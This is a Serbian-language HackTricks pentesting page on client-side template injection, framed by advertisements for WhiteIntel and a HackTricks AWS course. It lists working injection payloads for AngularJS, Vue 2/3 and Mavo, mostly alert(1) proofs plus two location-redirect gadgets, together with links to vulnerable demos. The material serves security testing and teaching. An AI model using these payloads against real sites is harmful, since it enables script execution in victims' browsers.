hacktricks/pentesting-web/client-side-template-injection-csti.md

7.9 KiB

Client Side Template Injection (CSTI)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

WhiteIntel

WhiteIntel je pretraživač pokretan dark-web-om koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici kompromitovani od strane kradljivih malvera.

Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.

Možete proveriti njihovu veb lokaciju i isprobati njihovu mašinu za besplatno na:

{% embed url="https://whiteintel.io" %}


Rezime

To je kao Server Side Template Injection ali na klijentskoj strani. SSTI vam može omogućiti da izvršite kod na udaljenom serveru, dok bi CSTI mogao da vam omogući da izvršite proizvoljni JavaScript kod u pretraživaču žrtve.

Testiranje ove ranjivosti je veoma slično kao i u slučaju SSTI, interpretator očekuje šablon i izvršiće ga. Na primer, sa payload-om poput {{ 7-7 }}, ako je aplikacija ranjiva videćete 0, a ako nije, videćete original: {{ 7-7 }}

AngularJS

AngularJS je široko korišćen JavaScript okvir koji interaguje sa HTML-om putem atributa poznatih kao direktive, od kojih je jedna od značajnijih ng-app. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.

U scenarijima gde se korisnički unos dinamički ubacuje u telo HTML označeno sa ng-app, moguće je izvršiti proizvoljni JavaScript kod. To se može postići iskorišćavanjem sintakse AngularJS-a unutar unosa. U nastavku su primeri koji pokazuju kako se može izvršiti JavaScript kod:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Možete pronaći vrlo osnovni online primer ove ranjivosti u AngularJS na http://jsfiddle.net/2zs2yv7o/ i na Burp Suite Academy

{% hint style="danger" %} Angular 1.6 je uklonio pesak tako da od ove verzije, payload poput {{constructor.constructor('alert(1)')()}} ili <input ng-focus=$event.view.alert('XSS')> treba da funkcioniše. {% endhint %}

VueJS

Možete pronaći ranjivu Vue implementaciju na https://vue-client-side-template-injection-example.azu.now.sh/
Radni payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

I izvorni kod ranjivog primera možete pronaći ovde: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

V3

Jedan zaista dobar post o CSTI u VUE može se pronaći na https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

{{_openBlock.constructor('alert(1)')()}}

Zasluge: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Zasluga: Mario Heiderich

Proverite više VUE payloada na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Više payloada na https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Lista za otkrivanje Brute-Force napada

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

WhiteIntel

WhiteIntel je pretraživač pokretan dark-webom koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici ugroženi od malvera koji krade podatke.

Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera koji krade informacije.

Možete posetiti njihovu veb lokaciju i isprobati njihov pretraživač besplatno na:

{% embed url="https://whiteintel.io" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: